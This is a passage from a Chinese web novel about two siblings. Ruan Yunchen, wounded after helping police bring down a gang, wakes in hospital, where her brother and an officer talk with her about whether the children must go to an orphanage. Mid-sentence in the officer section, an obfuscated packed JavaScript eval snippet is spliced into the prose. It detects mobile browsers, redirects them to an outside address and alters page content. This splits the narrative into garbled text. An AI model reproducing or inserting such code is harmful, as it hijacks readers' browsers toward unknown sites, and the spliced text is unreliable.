阮秋的胸口剧烈起伏着,他的语气不再冷静,甚至带着一丝生硬的迫切:“你想一个人扛下这些?你觉得这对吗?!” “没有什么对不对。”阮云琛终于开口了,声音低得几乎听不清,“我能做的,就是让你们不要被卷进来。” “可是这并不是你能决定的……”阮秋的声音很低,低到几乎和他急促的呼吸融为一体。 他的目光没有从阮云琛身上移开,眼底的情绪却像被锁在深渊里的巨兽,只能透过眼神泄露出一丝影子。 他没有继续说下去。那句重复的话像是耗尽了他所有的力气,只剩下隐约的颤抖留在空气里。 阮云琛站在那里,神色平静得近乎冷淡,只有微微蹙起的眉梢泄露了她的隐忍。她没有回应,像是打定了主意将这场对话封死在她的规则之内。 屋子里的沉默拉得很长,墙上的钟表发出细微的“嗒嗒”声,像是一种莫名的催促。 阮秋站得很直,双手垂在身侧,指节却不自觉地收紧。他用力压着情绪,不让它翻涌出来。 他本能地想说些什么,可那些话到了嘴边,又被他一一咽下。 他低头看了眼自己的手,指尖微微发白。这样的小动作一向能让他冷静,但这一次却没有用。 阮秋忽然觉得胸口像是堵着一块什么东西,疼得他连呼吸都变得沉重。那种无力感像是锈迹斑斑的铁丝,缠绕着他的骨头,让他动弹不得。 “你总是这样。”他终于再次开口,语调里没有任何起伏,像是在陈述一个事实。“总是把一切都放在自己身上。” 阮云琛没有动,只是低低地“嗯”了一声,像是在应付,又像是对这句话根本无所谓。 “可是我不想这样。”阮秋抬头看着她,目光沉静中带着隐约的痛楚。他的声音还是很平缓,却透着一种压抑到极致的愤怒,“我不想只能站在一边,看着你去拼命。我不想只能等着,看你什么时候带着一身的伤回来。” 他的声音哑了一下,停顿了片刻,又继续说下去:“我知道你能做到……你能一个人把事情做成。但为什么,偏偏是你?” 这句话像是一颗钉子,扎进阮云琛的耳朵里。她依旧没有回答,目光垂下,藏住了眼底的情绪。 阮秋看着她的沉默,手指紧紧攥着,指甲几乎要嵌进掌心。他没有逼她,也没有继续说下去,只是用力地吸了一口气,像是试图把所有的情绪都压回去。 片刻后,他终于抬起头,声音低哑得像是从胸腔深处挤出来的:“姐,如果我能做点什么……让我帮你吧。” 这句话出口时,他的目光直直地落在阮云琛的脸上,像是赌上了所有的倔强和坚持。 屋子里的空气瞬间安静下来。 沉默像是一种无形的屏障,将两人隔在对立的两端。 阮云琛缓缓地抬起头,看着面前的阮秋。他的眼眶微微泛红,额角因为情绪激动而渗出一层细密的汗珠。他的目光里满是痛苦和愤怒,却又透着一丝近乎绝望的恳求。 “我……”她开口,声音有些沙哑,却又被阮秋打断。 “姐,你能不能,别一个人扛了?”他的声音低了下去,带着一点哀求,一点不甘,还有更多的不舍。 这一句话,像是一把无形的刀,直直地刺进了阮云琛的心里。 她沉默了很久,久到阮秋的手指已经开始轻轻发抖,久到他的目光从咄咄逼人变成了小心翼翼,带着一点近乎卑微的期待。 “阮秋……”她终于开口,声音轻得几乎听不见。 阮云琛抬起眼看着他,目光里没有怒意,也没有妥协,只有某种深深的疲惫。 “我不会死。”她的声音很轻,像是一阵风刮过冰面,平静得让人心悸。 “你能保证吗?”阮秋的声音里透着一丝几近绝望的急切,“你能保证,下一次,我不会接到你的尸体吗?” 这一句话,像是一根刺,猛地扎进阮云琛的胸口。她的目光动了动,嘴唇抿成一条直线,却没有说话。 屋子里安静了很久。 “姐。”阮秋的声音又低了下去,像是用尽了最后的力气,“让我帮你。” 阮云琛垂下目光,指尖无意识地在桌面上点了一下,发出轻微的声音。那一点声响轻得像一片羽毛,却在静默中激起层层涟漪。 她的手停了片刻,又再次抬起,指尖在桌面上划过一小段弧线,像是一个未完成的动作——随即又落回了原处。 整个动作里藏着难以觉察的迟疑,甚至带着一丝她自己都没察觉到的茫然。 一阵沉默蔓延开来。 房间里的气氛像是被压得极低的空气,几乎要凝成一块看不见的固体。窗外的街灯光斜斜打进来,将阮云琛的脸庞笼上一层淡淡的光影,模糊了她眼底的情绪。 阮秋站在原地,目光一直停留在她身上,没有移开过。 他没有催促,也没有再开口。他知道这对阮云琛来说意味着什么——意味着她要松开自己牢不可破的防线,意味着她不得不承认,这一次,独自一人已经不是最优解。 而这,几乎是她的底线。 阮云琛的喉咙微微动了一下,像是强压住了一口即将溢出的叹息。 她的视线缓缓落回到桌面,目光专注得像是在看某样重要的东西,但她知道自己什么也没在看。 脑海里一片紊乱,却又一片清明。 她从来不是会做冲动决定的人。 她习惯了算计,习惯了将每一个变量都压在心里,咬着牙承受,哪怕是最坏的后果。 可这一次,如果——如果按照她的计划来做,那么她的身体状况和行动条件都会被逼到极限,账本的重量在她脑海里清晰得像是一把悬在头顶的刀。 阮云琛很清楚,自己的计划有太多的不确定性。 一旦失败,她可能没有力气再撑到派出所,更无法保证账本能送到廖致远手上。而这份失败的代价,绝不是她能承担的。 可阮秋呢? 她知道他在想什么。 她也知道他这次是认真的——那个从桥洞下一步步走到今天的少年,从来不是单纯的小孩。他一直都知道一切,比她以为的更多。 那些她以为藏得很好的疲惫、那些她从未和任何人提起的痛苦,他都看在眼里。 那时的他虽然还小,但他的目光却清澈得让人心慌,仿佛这个世界最阴暗的角落都早已刻进了他的骨子里。 他不是不懂,只是太懂了。 阮云琛突然记起,早在很多个夜晚里,他就会坐在桥下远远地看着她。 她以为他什么都不知道,可那些偷偷撇过去的眼神,那些在她流泪时小心避开的脚步,都在告诉她:他一直在看。 从那个时候起,他就知道这个世界是什么样的,而她又过着怎样的生活。他没有说过一句话,没有问过一个问题,可那双沉默的眼睛早就透出了太多话,重得她几乎抬不起头。 他有能力,有头脑,有一份她信得过的坚定。而他刚刚的每一句话,每一个眼神,像是对她的控诉,也像是对自己的承诺。 阮云琛忽然意识到,自己根本没有选择。 如果她继续坚持,一个人扛下所有,她能否成功? 她不能确定。 但如果失败…… 阮云琛止不住地想象到了后果,胃里顿时像被灌进了一盆冰水,凉意从脊椎一路爬上后脑。 她的手指又动了一下,想要抓住什么。 可她什么都没抓住。 沉默拉得很长,长到阮秋的目光里多了一丝难以掩饰的疲惫。他的拳头松了又紧,最终还是没有发出声音。 阮云琛闭了闭眼,指尖在桌面上轻轻叩了一下。这个动作像是无意为之,但只有她自己知道,那一声轻响几乎像是某种决断。 “好。”她说。 这一个字,像是用尽了她所有的力气。 67. 广播新闻 房间里很静,静得只剩下输液管里药液一滴一滴落下的声音,混合着空气中的消毒水气味,像一道无形的屏障,压得人喘不过气。 阮云琛睁开眼的瞬间,周围的白色刺得她眼睛生疼。意识像搁浅的潮水,断断续续地往回涌,模糊的记忆与陌生的环境交织在一起。 肩膀的剧痛先一步清晰起来,紧接着是全身的酸胀和撕裂感。她动了动手指,试图抓住什么,触碰到的却是一片冰冷——输液针管,胶布,还有金属床沿的冰凉。 她猛然屏住呼吸,神经骤然紧绷。 她在哪儿? 白色的天花板,输液架,床尾垂着的被单,看起来像医院,但这里真的是医院吗? 林奇呢?他追上来了吗?还是……她被抓了? 阮云琛的目光飞快地扫过四周。没有窗帘的玻璃窗外是灰白的天空,影影绰绰地映出走廊的轮廓。 墙上的时钟指向十点整,秒针滴答地走着,像一把看不见的锤子,敲在她心口。 太安静了。安静得有些不对劲。 她的呼吸逐渐急促,喉咙像被什么堵住了一样,耳朵里传来嗡嗡的耳鸣声。 阮云琛用力攥了攥被单,试图撑起身体,却被突如其来的眩晕感压了下去。眼前一阵发黑,耳边似乎传来模糊的脚步声。 是林奇吗?还是宋祈的人? 胸口骤然紧缩,指尖抓住了输液架的边缘。她咬紧牙,身体本能地绷成一根随时会断的弦。 就在她准备挣扎起身的一瞬,一段广播声穿透了耳膜,清晰地落入她的意识深处。 “昨夜,警方对本市某大型地下犯罪组织展开突袭,成功捣毁其核心据点,现场缴获大量非法账本及暴力收款证据,同时查获毒品交易线索。相关嫌疑人已被控制,案件仍在进一步调查中……” 广播的声音冷静又平稳,像一盆温度刚好的凉水泼在她的脑海里。 阮云琛愣了一下,目光落在被光影分割开的白色墙面上。耳边的声音像从远处传来,模模糊糊,却让她的心缓慢地坠了下去。 她的目光定在天花板的某一点,眼前的黑暗逐渐散开。她缓缓松开了紧绷的手指,掌心还带着隐隐的刺痛。 阮云琛滞了很久。 直到胸口的起伏慢慢平稳,喉咙深处挤出了一口气。 不是林奇。不是宋祈。不是和安堂。 不是他们当中的任何一个。 ……结束了吗? 阮云琛的目光从天花板滑到了点滴瓶,盯着那一点一点滴落的透明液体看了很久,久到那瓶剩了一半的清透液体似乎不再是玻璃瓶,而是变成了某种无形的深渊,冷冷地悬在头顶。 阮云琛止不住攥起了指尖,床单被攥出一道细微的皱褶。 她很快又闭了闭眼,喉咙里挤出一声几不可闻的叹息,试图将压在胸口的石头给逼退出去。 可那石头太沉了,一动也没法动,一点儿也没法呼吸。 真的结束了吗? 耳边的广播还在继续,机械而冷静的声音讲述着警方的“辉煌战果”,一个接一个的名词落在她的意识里,却像没有形状的碎片,无法拼成完整的画面。 账本、毒品、突袭、核心据点…… 一切听起来都无懈可击,但她却无法相信。 ……万一呢? 阮云琛一向不相信完美无缺的“收尾”。 她甚至不相信“收尾”这件事本身。 多年的经验告诉她,真正危险的东西从不会出现在舞台中央,真正的威胁往往藏在阴影里,藏在那些别人忽略的角落,藏在所有人认为“安全”的地方。 就像宋祈的账本,就像林奇的诊所。 就像这间病房。 这真的是派出所的警察帮她送来的病房吗......? 脚边隔开光线的床帘拉开之后,出现的......出现的,会是和安堂的人的脸吗? 可是这里没有烟味。 没有烟味,没有酒味,有的只有浓到刺鼻的消毒水味。 阮云琛的手指再度抓紧了被单,耳边的广播仿佛变成了一种无形的噪声,搅得她的意识越发混乱。她闭上眼,呼吸间带着不易察觉的颤抖。 多年的风雨中,她早已习惯了警觉和压抑,习惯了在每一次胜利的尾声里寻找漏洞和隐患。她无法放松,也不敢放松。因为“放松”意味着失控,而失控意味着失败。 失败,她输不起。 忽地,门锁转动的声音响起。 金属的咔哒声在空气中显得格外突兀,像一把利刃,瞬间劈开了病房里的静谧。 阮云琛的神经骤然绷紧,心跳像一面密集敲击的战鼓,疯狂地砸向胸腔。 她的手指下意识地攥紧了床单,关节瞬间泛白。疼痛被推到意识的边缘,她的注意力全部集中在那扇门上。 门把手缓缓转动,发出轻微的咯吱声,仿佛时间被拉长了无数倍。那种等待的感觉像钝刀割肉,缓慢而残忍。 ……是谁? 医生?护士?还是…… 阮云琛的喉咙干涩,呼吸间带着隐隐的刺痛。她几乎想要强迫自己冷静,可神经却不受控制地炸开,每一根肌肉都像被绷到极限的弦,随时可能断裂。 如果是和安堂的人呢? 如果她的猜测是对的,如果这里根本不是警方安排的医院,而是……另一场精心设计的陷阱呢? 她的大脑飞速运转,推演出无数种可能性——如果进来的是林奇,她该怎么办?如果进来的是周铁山的手下,她该怎么办?如果是宋祈…… 她无法抵抗。 这就是事实。 她的身体已经接近极限,肩膀的疼痛和发热让她连直起身都困难,更别提逃跑或反抗。 可她依然努力动了动身体,试图挣脱输液管,将自己的身体从床上挪下去。脚尖触到冰凉的地面时,她忍住一声闷哼,咬紧牙关,像一头受伤却倔强的兽。 必须躲起来。 她的目光迅速扫向病房的角落,试图找到一个可以隐蔽的地方。床帘后、柜子旁、或者……窗户? 可时间不允许她多想了。 门锁最终转动到位,门板发出轻微的吱呀声,旋即又归于沉寂。 阮云琛的目光死死锁在栏隔的床帘上,那床帘就仿佛某种无形的深渊。身下的床铺冰冷刺骨,灼烧般的疼痛从肩膀延展到背部,仿佛提醒着她——她无法反抗。 下一秒,轻轻的脚步声在地板上响起,逐渐靠近。 阮云琛的身体微微一僵,指尖攥住床沿,力气大得几乎让骨节发白。床帘外传来一阵窸窸窣窣的声响,像是某人缓慢地伸手触碰帘布。 帘子被拉开的瞬间,她的神经几乎崩断,猛地抬起眼,目光如刀般扫向来人。 却看到—— 是阮秋。 他站在帘子后,逆着窗外昏暗的光,目光直直地落在她身上。少年脸上的疲惫与紧张清晰可见,额前的发微微散乱,眉间的阴影深得仿佛刻在骨子里。 “姐。”他的声音低低地响起,像是被什么压抑住了。 那一瞬间,阮云琛胸口猛地松弛了一点,又迅速被另一种情绪填满——不是放松,而是某种复杂到无法言说的情感,像寒冰骤然融化又迅速结冻。 她盯着阮秋,愣了很久,才终于从那莫名升起的紧张中缓缓脱离。 “......是你。”她说 阮秋没有立刻回答。 他的目光从她苍白的脸上扫过,停在她手上挂点滴的针,而后是腿上的石膏,还有从肩膀病号服里透出的绷带上,眉头皱得更深了一些。 他将手里的保温桶放在了旁边的桌子上,抬手将帘子完全拉了开。 帘子被拉开的声音轻轻地响起,光线随之倾泻进来,阮云琛的眼睛微微眯了一下,抬头看向站在那里的阮秋。 他的手还搭在帘子的边沿,像是刚刚用力拉开的动作还未完全卸下。 他没有立刻开口,倒是阮云琛先移开了目光,低头看向自己的手臂——点滴管连接的针头下,皮肤微微泛青,隐隐透着细密的痛感。 “姐。”阮秋的声音低低响起,没有多余的铺垫,却带着一股子沉静的力量。 阮云琛没有回应,只是眼睛慢慢转回来,落在他的脸上。 阮秋的目光没有闪避,和她对视着,眉间少了一分往日的少年倔强,更多了一种不易察觉的轻松和认真。他站得很直,像是某种情绪终于落定,整个人舒展开了一些。 “结束了。”他说。 那声音很轻,语气稳而清晰,却仿佛带着千钧的分量。 阮云琛的眼睫颤了一下。 空气中静得有些过分,她没有立刻回答,手指却不自觉地攥紧了身侧的被单,喉咙里像被什么堵住了一样,一时发不出声音。 “……真的?” “真的。”阮秋点了点头,目光依旧直视着她,没有任何躲闪。他的语气没有太多起伏,却意外地带着一种让人无从质疑的坚定。 空气像是凝固了一般,只剩下点滴药液落入管道的细微声响。窗外偶尔传来几声汽车驶过的低沉轰鸣,又迅速消失在沉寂里。 阮云琛靠在床头,身体似乎已经陷进了被褥里。她的目光低垂,盯着搭在膝头的手,手指微微蜷着,青筋在苍白的皮肤下隐约可见。 白昼的光线被窗棱切成好几块,落在桌面和墙壁上。 阮秋站在窗前,身影被背后的光勾勒出一圈浅淡的轮廓。他的手撑在桌沿上,似乎想说什么,却又在半途中止住了。 阮云琛靠在床头,目光在他的背影上停了一会儿,才低声开口:“淼淼呢?” 阮秋的肩膀放松了一点,像是心底某根弦被解开了。他直起身,把桌上的保温桶推近了些,语气不再那么紧绷:“去上学了。” 听到这句话,阮云琛轻轻“嗯”了一声,但没有再问。 阮秋的手摩挲着桌沿,片刻后,他抬起头,语气带了些轻松的调子:“她前两天哭鼻子,眼睛肿得跟桃子似的,差点被同学笑得不敢出门。” 阮云琛侧过头,目光淡淡扫过他的手,像是在回味这句话的意思。她没有笑出声,只是嘴角似有若无地动了一下,像风掠过一片湖面,几乎看不出痕迹。 “怎么回事?”她问。 “书包找不到了。”阮秋低头,声音带着点无奈,“结果是她自己塞进了衣柜忘了拿。发现后哭了一晚上,回来还噘着嘴,连话都不肯说。” 话音落下,房间里再次安静了下来。 窗外传来几声鸟鸣,微弱又遥远。阳光在玻璃上跳跃,切割出细碎的光斑。 “那后来呢?”阮云琛的声音打破了短暂的沉默。 “后来?”阮秋笑了一下,抬起眼看着她,“你能想象她啊,噘着嘴去学校,一句话没说,闷了一整天。结果最后还是同学给她买了根棒棒糖,她才消了气。” 阮云琛低头轻轻笑了一下,像是被什么放松了神经。 又是一阵安静。 窗外的光缓缓地移动,投在阮秋的肩膀上,像一层薄薄的尘埃。 他没有走开,也没有说话,只是站在窗前,手指无意识地摩挲着桌角。动作轻缓,却带着某种沉静的意味,仿佛正在酝酿什么,又仿佛只是无意识的停顿。 阮云琛的目光落在他的手上,随后转向桌面,停在那个保温桶上。时间被拉得很长,直到她开口时,声音都带着一点刚苏醒后的低哑:“……保温桶里是什么?” 阮秋回过头,目光随着她的视线落在桌上。他的唇边还带着些许未散的笑意,像阳光从云隙间泄出的最后一丝温度:“粥。” 阮云琛抬起眼,盯着他,没有多说话,眉梢却微微挑了一下,像是听出了什么不对劲的地方:“你熬的?” 阮秋没有避开她的目光,回答得很平静:“嗯,熬了几个小时。醒了就趁热喝点。” 他的语气平淡,像在陈述一件再普通不过的小事,可那种平静之下,却藏着一份与他年纪不符的从容和耐心,仿佛“熬几个小时”只是日常的一部分,根本不值一提。 空气里的微妙安静再次拉长。 阮云琛没有接话,只是静静地看着他,像是想从他的表情里寻找出点什么,却最终什么都没说。窗外的光变得更柔和了一些,像一层薄雾,轻轻笼罩在两人之间。 门口忽然传来一声敲门声,轻轻的,不急不缓。 两人的目光同时转向那边。门缝开了一条小缝,紧接着,廖致远探出半个身子。他的眼神在病房里扫了一圈,最后落在阮云琛身上,微微停顿了一下。 他的嘴角牵出一抹轻微的弧度,像是想缓解什么:“我是不是来得不是时候?” 廖致远站在那儿,手里还提着几大兜水果。 重新穿上的警服勾勒出他微微佝偻的肩背,腰间的皮带紧紧束着,让他的整个人看起来似乎比实际要更疲惫几分。 他脸上的疲惫几乎刻进了眉眼,眼底的阴影和皱纹像是夜里没褪尽的霜痕。 他的动作很轻,像是怕惊动病房里原本的沉寂,关门的声音被他压得极低,像一缕微风掠过。 阮秋站在窗边,闻声回过头,但没有出声,只是看了一眼,又沉默地将视线移开。 阮云琛她张了张嘴,却是半天也没有找到合适的词汇,最终什么也没说。 廖致远走近了两步,视线在她苍白的脸上停了一瞬,才轻声开口:“你以前叫我叔叔。” 阮云琛愣了一下。 ——叔叔。 这个词仿佛从记忆的深处掀起一层轻雾。她没有立刻回答,只是垂下眼睛,像是试图避开他的目光。 良久,她动了动嘴唇,可好半天,也仍然没有发出声音。 廖致远看着她,眉头微微皱了一下,却又很快舒展开来。他的手习惯性地插进口袋里,轻叹了一声:“那会儿你才九岁,记得吗?” 九岁。 阮云琛的喉咙轻轻动了一下。 那时候……是阮启明的尸体被发现的时候。 警灯闪烁,警员在楼道间穿梭,她抱着阮淼淼站在门边,眼里满是空洞的恐惧。一个穿着制服的人蹲下身,问她叫什么名字,声音低沉而温和—— 她没有说话,只是盯着他的脸。 廖致远的声音再次响起,打断了她短暂的出神:“没关系,也不是一定要叫‘叔叔’。” 他笑了一下,那笑意里带着几分疲惫和无奈。 阮云琛的目光抬起一瞬,落在他脸上,又迅速移开,整个人在被子下微微缩了一点。 廖致远注意到了她的动作,停顿了一下,才慢慢拉开身旁的椅子坐下。他的动作不急不缓,仿佛是在小心翼翼地营造一种无害的氛围。 他的视线扫过病房,最终落回到阮云琛身上,像是随意地开了口,声音里带着点无意的轻松:“我联系的派出所,听说你那天是直接摔进来的。” 阮云琛的肩膀微不可察地僵了一下,抬眼看向了他,可很快就又移开了目光,死死地垂在了那张皱巴巴的被子上。 “腿骨裂,肩膀的伤差点感染,还有些内伤......”廖致远的声音在病房里缓缓飘散,像是低沉的回声。他的语气里透着几分克制,像是不想让这些话听起来太重,但又无法掩盖某种无奈的疲惫。 阮云琛没有立刻回应,手指在被单上摩挲了一下,眼神垂在自己的手上,不自觉地在刻意回避他的目光。 廖致远看着她,目光稍稍停留在她苍白的脸上。沉默像一层无形的薄雾,弥漫在两人之间。 “你还是个孩子啊……”他低低地叹了口气,像是自言自语。 阮云琛的手顿了一下,抬起眼瞥了他一眼,表情里没有太多波动,但眉间却带了一丝不易察觉的绷紧。 廖致远注意到了她的反应,嘴角轻轻动了一下,试图扯开一点笑意,但很快又垮了下去。他忽然直起身子,换了个轻松些的语气:“你不问我点什么?” 阮云琛心口一紧,指尖下意识地抓住被角。她没有立刻回答,只是低垂着眼,像是在试图压下某种涌动的情绪。 她不敢问。 问什么都不敢。 如果问了,那层窗户纸就会被捅破。她也许会听到她不想听的答案——“你得跟我回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15083625|158973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 局里一趟”,又或者是“有些事情我们得谈谈了”。 她的脑子飞快地运转着,像一头被逼入角落的野兽,试图找出唯一的生路。 “和安堂的势力倒了。”廖致远的声音突然响起,打断了她的思绪。 阮云琛的目光瞬间抬起。 “从昨晚的行动开始,到现在不过十个小时。他们所有的据点,地下拳场,连带着那些小喽啰的窝点,全部被一锅端了。非法高利贷,暴力收款,毒品交易的证据,一样没跑。” 他的声音很平静,像是在汇报一场与自己无关的案件。然而每一个字落在阮云琛耳朵里,都像是一记重锤。 阮云琛没有出声,只有胸口的起伏稍稍加快了一些。她知道这些是什么——是她布下的局,也是她拼尽全力保下的线索。 “……你做得很好。”廖致远忽然补了一句,语气依旧平静,但目光里却多了几分意味不明的复杂。 阮云琛的呼吸微微滞了一下,目光落向窗外,眼神里闪过一丝难以言喻的情绪。她没有接话,指尖轻轻揪住被单的一角,像是等着他继续说下去,又像是在等着一种裁决。 廖致远的目光转向阮秋。 阮秋站在不远处,手插在兜里,后背挺得笔直,目光冷而直,带着一种生硬的防备。他就站在那里,不言不动,像是一堵沉默的墙。 廖致远的目光在他身上停了片刻,眉头微微动了一下,嘴角也随之抬起,勾出一个带着疲惫的弧度。 他的眼神落在阮秋绷紧的肩膀上,又扫过那双略微颤动的拳头,像是看穿了一切,却又什么都没说。 只是那笑意,更多是无奈,也掺杂着某种深藏心底的倦意。仿佛一场长久未散的战斗,早已把他拖得筋疲力尽,却还要勉力维持某种平衡。 阮秋的脚步没有挪动,但肩膀的紧绷却变得更加明显。他没有动嘴,只是下颌稍稍用力,唇线抿得直而冷硬。那是克制到极致的一种状态,像弓弦被拉满却不发,僵持到骨子里。 他的手指在兜里不安地动了一下,又迅速归于平静。 空气像被钉在墙上,沉得让人发闷。 廖致远移开了目光,眼皮低垂,像是把某些复杂的情绪压回了心底。他深吸了一口气,又缓缓吐出来,肩膀微微垮了一下,像卸下一层无形的重量。 “接下来,你打算怎么办?”他问。 阮云琛的神经一瞬间绷得更紧。 ——这不是她预想的展开。 她原以为,廖致远会问更多关于账本,关于她与和安堂的关系,关于所有那些见不得光的事情。 他完全可以问,也完全有权力问。 可他没有。 甚至连提都没有提。 这让她的呼吸停滞了一拍,胸口像是压了一块石头,堵得她一时无话。 廖致远却并没有急着等她的回答。忽地,他的小灵通在口袋里震了一下,他拿起来看了看,脸上的表情先是微微一愣,随后眉间不易察觉地拧了拧。 阮云琛本能地观察到他的神色变化,心头警铃大作。她的目光轻飘飘地扫了一眼,又迅速移开,但绷紧的身体却没有任何松弛的迹象。 空气变得更静了。 阮秋几乎是下意识地察觉到了她的紧张。 他的肩膀稍稍抬了一点,随即向前移动半步,动作不大,却带着一种不容忽视的防备。他的目光冷而沉,像一道无形的屏障,无声地隔开了他们之间的距离。 廖致远的视线在两人之间来回转了片刻,没有刻意回避,但也没有多做解释。 他只是低头,把小灵通放回口袋,嘴角勾起一抹淡得几乎看不见的笑,像是苦笑,又像是某种说不清的释然。 “不是你的事儿,是我的。”他说。 阮云琛依旧没有放松,目光从廖致远的脸上转向他的手,再落回到桌上,好像在拼命寻找他话里的漏洞。 廖致远却没有再多解释,只是抬眼看向窗外,沉默了一会儿。 房间里一时间安静得有些过分,静得连输液瓶里药液滴下的声音都显得刺耳。 “......你们考虑过回福利院吗?”廖致远忽然开口,语调平稳得几乎没有任何波澜,但其中的分量却如同一块巨石,狠狠砸在了阮云琛的胸口。 她的手指无意识地收紧了一些,紧攥着被单的边角,垂下了眼,没有立刻回答。 “福利院不全是坏地方。”廖致远放低了声音,像是在尽量平缓地陈述某个事实,但他眼底的疲惫却无法掩饰。他知道这些话不会让她信服,却还是说了出来。 阮秋开口打破了僵局,声音低而短促:“福利院是坏地方。” 廖致远侧过头看了他一眼,那目光里有一瞬间的怔然,却没有反驳。 “我们不会回去。”阮云琛终于抬起头,声音带着一丝沙哑的坚定,“我们也不能回去。” 廖致远没有立刻接话。他注视着阮云琛,像是在她眼里寻找什么,却最终只叹了口气,语调放缓了一些:“可你还不到十八岁。” 房间再次安静了几秒,阮云琛的脸上浮现出一丝短暂的僵硬。 “未成年人不能成为监护人。”廖致远继续说,语气比刚才更低,“不管你们愿不愿意,我都得按照规定办事。” “规定?”阮秋冷笑了一下,声音压得很低,“福利院有哪一条规定,是按照法律来的?” 廖致远被这句话刺得顿了一下,目光沉沉地转向阮秋。他没说话,许久后才缓缓摇了摇头:“我知道……我都知道。” 他的语气里有疲惫,也有一丝无奈,仿佛在向某个看不见的存在妥协。 阮云琛的手指松了又紧,最终还是开口:“如果没有其他选择呢?” 廖致远叹了一口气,站起身,像是想整理什么,却最终什么也没做。他的手轻轻拍了拍大腿,仿佛在为自己寻找离开的借口:“再说吧。” 就在这时,他口袋里的小灵通突然震动起来。他拿出来看了一眼,眉头不自觉地皱紧,脸色瞬间沉了一些。 他站起身,往门口走了几步,开门时还不忘压低脚步声。 门并没有完全关上,留了一道细小的缝隙。阮云琛的目光下意识地追过去,目光落在那扇微微摇晃的门上,像是在等待什么,又像是在戒备什么。 “喂。”门外传来廖致远的声音,压得极低,却依旧稳得像一根绷紧的弦。 短暂的沉默后,一个声音从听筒里传来,紧接着,廖致远压低了的声音就断断续续地飘进房间:“……离婚协议……手续……什么时候签?” 阮云琛的身体僵了一下,眉心轻轻动了动。 阮秋也抬起了头,目光警惕地扫过门口。虽然他的表情没什么波动,但紧绷的下颌线泄露了他内心的不安。 门外的廖致远的嗓音低沉且平稳,却带着些许不易察觉的疲惫:“……我会尽快处理……不用再催了。” 接着,是一阵拖长的沉默,只有几声的叹气隐隐传进来。 门被重新推开,他走进来时,神色看似如常,但眼底的疲惫却藏不住。 廖致远像是在努力让自己振作起来,他低头掏出烟盒,指尖刚触碰到那薄薄的一层硬纸板,又停了下来。目光扫过病房内的输液架和窗边的“禁烟”标志,他沉默了两秒,叹了口气,又将烟盒重新塞回了兜里。 他抬手揉了一下眉心,像是在调整状态,然后对着他们露出一个有些牵强的笑:“别紧张,跟你们没关系。” 他的语气轻描淡写,带着几分无奈的自嘲。 阮云琛没有接话,目光扫过他垂在身侧的手,注意到那指节捏得发白的状态。阮秋则将目光移向别处,像是刻意避开某些情绪。 “有事找我。”廖致远的声音不轻不重,但语调却比刚才更平缓了一些,他嘴角动了动,露出一个有些牵强的笑,“过几天我再来看你们。” 说完,他没有再多停留,只把刚才搁在不远处桌台上的那几大兜子水果放的近了些,接着像是有什么要紧事,转身出了病房。 门关上的瞬间,阮云琛松开了紧攥的手指,低头看了一眼自己的手心——那里满是深深的红印。 68. 百合花 ——福利院。 阮云琛靠在床头,眼睛盯着对面的白墙,手指无意识地收紧了被单的边缘。空气中弥漫着消毒水的味道,有点刺鼻,像是带着某种过分的洁净,反而让人浑身不自在。 墙上挂着的时钟滴答作响,每一声都显得格外清晰,仿佛时间被拉长了一样。 她的喉咙微微动了一下,嘴唇紧抿着,呼吸压得很轻,怕惊动了什么不该惊动的存在。 脑海中翻涌着一片凌乱的念头——是廖致远提起的福利院,是那片潮湿的楼道,是那些压抑到窒息的记忆。 她从不把过去看作自己生命的一部分。 那是一个需要被忘记的地方,一个必须埋在泥土里再也不提的地方。 阮云琛闭了闭眼,感觉胸口有点闷,像被什么东西压住了似的。 阮秋静静地倒出了一碗粥,那粥是小米南瓜的,里面放了几颗红枣,比阮云琛自己做的白粥香得太多。 阮秋动作很轻,他端着碗在床边站了一会儿,才说:“姐,吃点吧。” 他的声音低低的,带着一点试探。 阮云琛抬起头,接过碗,碗底的热度透过指尖传来,却没能让她的表情多一分变化。 她低头舀了一口,粥的温热顺着喉咙滑下,胃里升起一股温暖,但那股暖意很快被一层淡淡的凉意压住了。 阮秋没说话,只是拉过一张椅子坐下,手肘支在膝盖上,目光落在了地板上。 屋子里安静得连勺子轻轻碰到碗沿的声音都显得刺耳。 “那位警察他……”阮秋终于开了口,声音很低,带着丝犹豫。他似乎是想问什么,却是话出口来,又不知道该从何问起。 阮云琛手上的动作停了一下,低垂的眼睫轻轻颤了颤,但她很快恢复了平静,放下勺子,微微靠在床头。 “我不会让你们进福利院的。”她忽然开口,声音平静却斩钉截铁,像一块石头砸在了这片安静中。 阮秋愣了一下,抬起头看向她,眼里闪过一丝复杂的情绪。他没有立刻回答,只是直直地盯着她,像是在琢磨这句话的分量。 “姐……”他的声音低了些,仿佛想说点什么,却又咽了下去。他垂下眼,手指不自觉地在椅子扶手上轻轻敲了两下。 阮云琛的目光落在窗外,眼神有些涣散,但语气却没有一丝动摇:“我知道你觉得我在硬撑,觉得我没法保证。可不管是福利院,还是别的地方,我都不会让你们去——绝对不会。” 阮秋低头沉默了一会儿,像是在消化她的话。过了几秒,他深吸一口气,直起身,手插进裤兜里,声音低而坚决:“我们不会让你一个人扛着的,姐。” 阮云琛转过头,看着他的侧脸,那张少年的面孔透着一股超乎年纪的坚定。她的嘴角动了动,想说点什么,却最终什么都没说,只是将目光收了回来。 屋子里一片安静,窗外的风声断断续续地飘进来。输液瓶里的药液滴落,节奏缓慢而清晰,像是无声的计时器,将这一刻的静谧拉得更长。 阮秋站在窗边,手指无意识地扣着窗框,指尖在斑驳的漆面上划出细微的痕迹。他没有说话,只是看着窗外,眼神晦暗不明,像是在想什么。 阮云琛的目光在他身上停了一瞬,又迅速移开。她靠在床头,手指轻轻捏着被角,脸上是平静到近乎冷淡的神色。可那冷淡的表面下,呼吸却有些不稳。 许久之后,阮秋终于开了口,声音低得像从喉咙里挤出来:“他没把话说死。” 话音落下后,房间又陷入了沉默。阮云琛没有立刻接话,只是垂下眼,手指在被面上轻轻搓动,像是无意识的动作。过了很久,她才低声开口:“说死了也没用。” 